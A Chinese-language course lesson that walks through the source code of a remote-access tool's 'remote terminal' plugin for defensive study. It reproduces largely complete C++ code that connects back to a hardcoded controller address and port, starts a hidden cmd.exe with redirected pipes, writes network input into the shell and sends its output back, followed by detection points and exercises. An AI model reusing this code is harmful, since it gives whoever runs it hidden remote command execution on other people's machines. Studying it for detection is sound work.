28 / 52 主插件与远程能力

第 28 课:主插件:远程终端

# 第 28 课:主插件:远程终端

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课定位:防御分析、源码阅读、远程命令执行风险识别和企业检测工程。
本课只讲远程终端模块的结构、输入输出模型、进程和管道行为,不提供命令执行、横向移动、规避监控或攻击操作示例。

第 27 课讲的是启动管理,它关注“程序如何随系统或用户自动运行”。本课看一个更高风险的能力:主插件\远程终端

远程终端的本质是:远端输入一段文本,本机把它写入命令解释器,然后把输出再回传。它绕过图形界面,直接进入系统命令层,所以在企业安全里属于高危能力。

本课主线如下:

远程终端插件入口
  -> 创建 CShellManager
  -> 创建两组管道
  -> 隐藏启动 cmd.exe
  -> 主控输入写入管道
  -> cmd 输出进入管道
  -> ReadPipeThread 读取输出并回传
  -> MonitorThread 监控终端进程和读线程
1
2
3
4
5
6
7
8

# 1. 本课学习目标

问题 本课回答
远程终端模块做什么 创建隐藏 cmd.exe,通过管道转发输入输出
为什么它高风险 它能远程驱动命令解释器执行系统命令
两组管道分别干什么 一组把主控输入写给 cmd.exe,一组读取 cmd.exe 输出
OnReceive 的作用是什么 把网络收到的数据写入命令解释器输入管道
ReadPipeThread 的作用是什么 从输出管道读取数据并回传主控端
企业如何检测 关联父子进程、隐藏窗口、管道读写、命令行、脚本日志和网络会话

# 2. 本课涉及源码目录和文件

文件 作用
主插件\远程终端\远程终端.sln 远程终端插件解决方案
主插件\远程终端\远程终端\远程终端.cpp 插件入口、连接选择、创建 CShellManager
主插件\远程终端\远程终端\ShellManager.h 命令枚举、管道句柄、进程句柄、线程声明
主插件\远程终端\远程终端\ShellManager.cpp 隐藏命令解释器、管道读写、输出回传和监控线程

2. 本课涉及源码目录和文件(配图)

# 3. 插件入口:连接后创建 CShellManager

入口仍然是标准主插件模式:连接成功后创建管理器对象,进入 socket 事件循环。

// 源码位置:主插件\远程终端\远程终端\远程终端.cpp:7-45
// 防御分析注释:
// 1. MainThread 根据 IsTcp 选择 TCP 或 UDP。
// 2. 连接成功后创建 CShellManager,后续命令输入和输出都由它处理。
// 3. 远程终端能力应被视为高危控制能力,必须与操作者身份、授权和日志关联。
struct plugInfo
{
    char mark[30];
    TCHAR szAddress[255];
    DWORD szPort;
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo =
{
    "plugmark",
    _T("192.168.50.142"),
    6669,
    1,
    0,
};

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;
    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        CShellManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

入口之后,所有重点都在 CShellManager

# 4. 类声明:句柄比命令枚举更重要

ShellManager.h 里只有一个局部命令 COMMAND_NEXT,但有很多句柄成员。远程终端模块的核心不是复杂命令字,而是“进程 + 管道 + 线程”。

// 源码位置:主插件\远程终端\远程终端\ShellManager.h:3-30
// 防御分析注释:
// 1. COMMAND_NEXT 用于窗口或会话状态同步。
// 2. m_hReadPipeHandle / m_hWritePipeHandle 是管理器侧读写管道。
// 3. m_hReadPipeShell / m_hWritePipeShell 会作为 cmd.exe 的标准输入输出句柄。
// 4. m_hProcessHandle、m_hThreadRead、m_hThreadMonitor 是检测进程生命周期的重要线索。
enum
{
    COMMAND_NEXT,
};

class CShellManager : public CManager
{
public:
    BOOL m_buser;
    CShellManager(ISocketBase* pClient);
    virtual ~CShellManager();
    virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

private:
    HANDLE m_hReadPipeHandle;
    HANDLE m_hWritePipeHandle;
    HANDLE m_hReadPipeShell;
    HANDLE m_hWritePipeShell;

    HANDLE m_hProcessHandle;
    HANDLE m_hThreadHandle;
    HANDLE m_hThreadRead;
    HANDLE m_hThreadMonitor;

    static unsigned __stdcall ReadPipeThread(LPVOID lparam);
    static unsigned __stdcall MonitorThread(LPVOID lparam);
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

对新手来说,先记住这张结构图。

4. 类声明:句柄比命令枚举更重要(配图)

# 5. 构造函数:创建管道并启动隐藏 cmd.exe

构造函数做了四件关键事:

  1. 创建输入和输出管道。
  2. 把管道绑定到新进程标准输入、标准输出和标准错误。
  3. 启动系统目录下的 cmd.exe
  4. 启动读线程和监控线程。
// 源码位置:主插件\远程终端\远程终端\ShellManager.cpp:15-77
// 防御分析注释:
// 1. CreatePipe 创建可继承管道,供子进程标准输入输出使用。
// 2. STARTF_USESTDHANDLES 表示新进程的 stdin/stdout/stderr 来自指定句柄。
// 3. SW_HIDE 让命令解释器窗口隐藏,是高风险信号。
// 4. CreateProcessA 启动 cmd.exe 后,模块发送 TOKEN_SHELL_START。
CShellManager::CShellManager(ISocketBase* pClient) : CManager(pClient)
{
    SECURITY_ATTRIBUTES sa = { 0 };
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    char strShellPath[MAX_PATH] = { 0 };

    sa.nLength = sizeof(sa);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;

    CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0);
    CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0);

    GetStartupInfoA(&si);
    si.cb = sizeof(STARTUPINFO);
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.hStdInput = m_hReadPipeShell;
    si.hStdOutput = si.hStdError = m_hWritePipeShell;

    GetSystemDirectoryA(strShellPath, MAX_PATH);
    strcat_s(strShellPath, "\\cmd.exe");

    CreateProcessA(strShellPath, NULL, NULL, NULL, TRUE,
                   NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

    m_hProcessHandle = pi.hProcess;
    m_hThreadHandle = pi.hThread;

    BYTE bToken = TOKEN_SHELL_START;
    Send((LPBYTE)&bToken, 1);

    m_hThreadRead = (HANDLE)_beginthreadex(NULL, 0, ReadPipeThread,
                                           (LPVOID)this, 0, NULL);
    m_hThreadMonitor = (HANDLE)_beginthreadex(NULL, 0, MonitorThread,
                                              (LPVOID)this, 0, NULL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

这段代码不需要复杂协议就能形成远程终端:网络输入写入管道,命令解释器输出再从管道读回。企业侧检测时,重点不是某个具体命令,而是这种进程与管道结构。

# 6. 输入输出时序

6. 输入输出时序(配图)

远程终端的时序可以拆成两条线:

方向 源码位置 行为
输入方向 OnReceive 网络数据写入 m_hWritePipeHandle
输出方向 ReadPipeThread m_hReadPipeHandle 读取输出并 Send 回传
// 源码位置:主插件\远程终端\远程终端\ShellManager.cpp:108-128
// 防御分析注释:
// 1. 非心跳数据会被直接写入命令解释器输入管道。
// 2. 这里不解析命令含义,意味着任意输入都可能进入 shell。
// 3. 企业侧应记录远程终端输入来源、操作者和命令文本,不应只记录连接建立。
void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT)
        return;

    if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
    {
        NotifyDialogIsOpen();
        return;
    }

    unsigned long ByteWrite;
    WriteFile(
        m_hWritePipeHandle,
        lpBuffer,
        nSize,
        &ByteWrite,
        NULL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

这段代码非常关键:它没有白名单、没有命令授权、没有命令分级。合法远程终端产品应把命令执行作为最敏感权限之一,而不是把所有网络输入都直接写入 shell。

# 7. 输出回传:ReadPipeThread

读线程不断检查输出管道是否有数据,有数据就读取并发送回主控端。

// 源码位置:主插件\远程终端\远程终端\ShellManager.cpp:129-178
// 防御分析注释:
// 1. PeekNamedPipe 用于检查命令解释器输出是否可读。
// 2. ReadFile 读取输出,Send 回传到主控端。
// 3. “cmd 子进程输出 -> 网络回传”是远程交互式 shell 的典型检测链。
unsigned CShellManager::ReadPipeThread(LPVOID lparam)
{
    unsigned long BytesRead = 0;
    char ReadBuff[1024];
    DWORD TotalBytesAvail;
    CShellManager* pThis = (CShellManager*)lparam;

    while (1)
    {
        Sleep(10);
        while (PeekNamedPipe(pThis->m_hReadPipeHandle,
                             ReadBuff,
                             sizeof(ReadBuff),
                             &BytesRead,
                             &TotalBytesAvail,
                             NULL))
        {
            if (BytesRead <= 0)
                break;

            LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
            ReadFile(pThis->m_hReadPipeHandle,
                     lpBuffer,
                     TotalBytesAvail,
                     &BytesRead,
                     NULL);

            pThis->Send(lpBuffer, BytesRead);
            LocalFree(lpBuffer);
        }
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

从检测角度,可以关注两个组合:

异常进程 -> 隐藏启动 cmd.exe -> 管道读写 -> 长连接回传
异常进程 -> cmd.exe 输出产生 -> 同一进程立即网络发送
1
2

# 8. 监控线程和清理

MonitorThread 等待命令解释器进程或读线程退出,然后断开连接。析构函数则强制终止线程和进程,关闭句柄。

// 源码位置:主插件\远程终端\远程终端\ShellManager.cpp:79-106
// 防御分析注释:
// 1. 析构函数会终止读线程和 cmd 进程。
// 2. TerminateThread/TerminateProcess 是强制清理,可能造成状态不一致。
// 3. 应急处置时要先保全进程树、命令行、管道行为和网络连接,再终止进程。
CShellManager::~CShellManager()
{
    if (!m_buser) return;

    TerminateThread(m_hThreadRead, 0);
    TerminateProcess(m_hProcessHandle, 0);
    TerminateThread(m_hThreadHandle, 0);
    WaitForSingleObject(m_hThreadMonitor, 2000);
    TerminateThread(m_hThreadMonitor, 0);

    CloseHandle(m_hReadPipeHandle);
    CloseHandle(m_hWritePipeHandle);
    CloseHandle(m_hReadPipeShell);
    CloseHandle(m_hWritePipeShell);
    CloseHandle(m_hProcessHandle);
    CloseHandle(m_hThreadHandle);
    CloseHandle(m_hThreadMonitor);
    CloseHandle(m_hThreadRead);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 源码位置:主插件\远程终端\远程终端\ShellManager.cpp:180-191
// 防御分析注释:
// 1. MonitorThread 监控 cmd 进程和读线程。
// 2. 任一对象结束后,模块会终止剩余对象并断开连接。
// 3. 连接断开前后的进程退出事件可以帮助还原远程终端会话生命周期。
unsigned CShellManager::MonitorThread(LPVOID lparam)
{
    CShellManager* pThis = (CShellManager*)lparam;
    HANDLE hThread[2];
    hThread[0] = pThis->m_hProcessHandle;
    hThread[1] = pThis->m_hThreadRead;

    WaitForMultipleObjects(2, hThread, FALSE, INFINITE);
    TerminateThread(pThis->m_hThreadRead, 0);
    TerminateProcess(pThis->m_hProcessHandle, 1);
    pThis->m_pClient->Disconnect();
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# 9. 命令执行风险面

9. 命令执行风险面(配图)

远程终端能力的风险不是某个固定命令,而是它把远端输入连接到了本机命令解释器。可能影响的面包括:

风险面 防御关注
文件系统操作 文件读取、写入、删除、压缩、脚本落地
系统配置变更 注册表、服务、计划任务、安全策略
网络探测 域名解析、连接测试、远端访问
脚本解释器 PowerShell、cscript、wscript、mshta 等
凭据与会话 环境变量、配置文件、令牌材料

本课不提供任何命令示例。企业侧做检测时,也不要只盯某几个命令字符串。更稳妥的是看“进程关系 + 管道结构 + 命令行 + 网络回传 + 用户授权”。

# 10. 企业检测点

10. 企业检测点(配图)

检测面 关注点 关联方式
进程树 异常进程启动 cmd.exe 父进程路径、签名、用户、窗口状态
管道行为 CreatePipeWriteFileReadFile 子进程标准输入输出重定向
命令行 cmd.exe、脚本解释器、参数 命令行日志、进程创建事件
脚本日志 PowerShell、WMI、脚本宿主 事件日志和 EDR 脚本内容记录
网络会话 长连接、输入输出回传 同一进程或同一会话的网络流量

建议关联逻辑:

异常插件进程建立长连接
  -> 创建可继承管道
  -> 隐藏启动 cmd.exe
  -> 网络输入写入管道
  -> cmd 输出经管道读取
  -> 输出回传主控端
  -> 触发远程交互式 shell 告警
1
2
3
4
5
6
7

# 11. 合法练习题

  1. 只阅读源码,画出 CShellManager 的四个管道句柄关系。
  2. 整理 构造函数 -> OnReceive -> ReadPipeThread -> MonitorThread 的调用链。
  3. 从防御角度写一条规则:异常进程隐藏启动 cmd.exe,并通过管道重定向标准输入输出。
  4. 设计合法远程终端的操作记录字段:操作者、命令、输出摘要、主机、时间、审批编号和结果。
  5. 说明为什么“只记录连接建立”不足以满足远程终端安全要求。
  6. 对比普通用户打开 cmd.exe 和插件隐藏创建 cmd.exe 在检测上的差异。

# 12. 本课小结

远程终端模块的核心是管道型命令交互:CShellManager 创建隐藏 cmd.exe,把网络输入写入标准输入,把标准输出和错误输出读回并发送给主控端。

这类能力必须被视为高危能力。企业侧检测要把父子进程、隐藏窗口、管道读写、命令行、脚本日志和网络会话串起来。下一课进入远程交谈模块,关注文本交互、窗口展示、用户确认和屏幕锁定风险。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>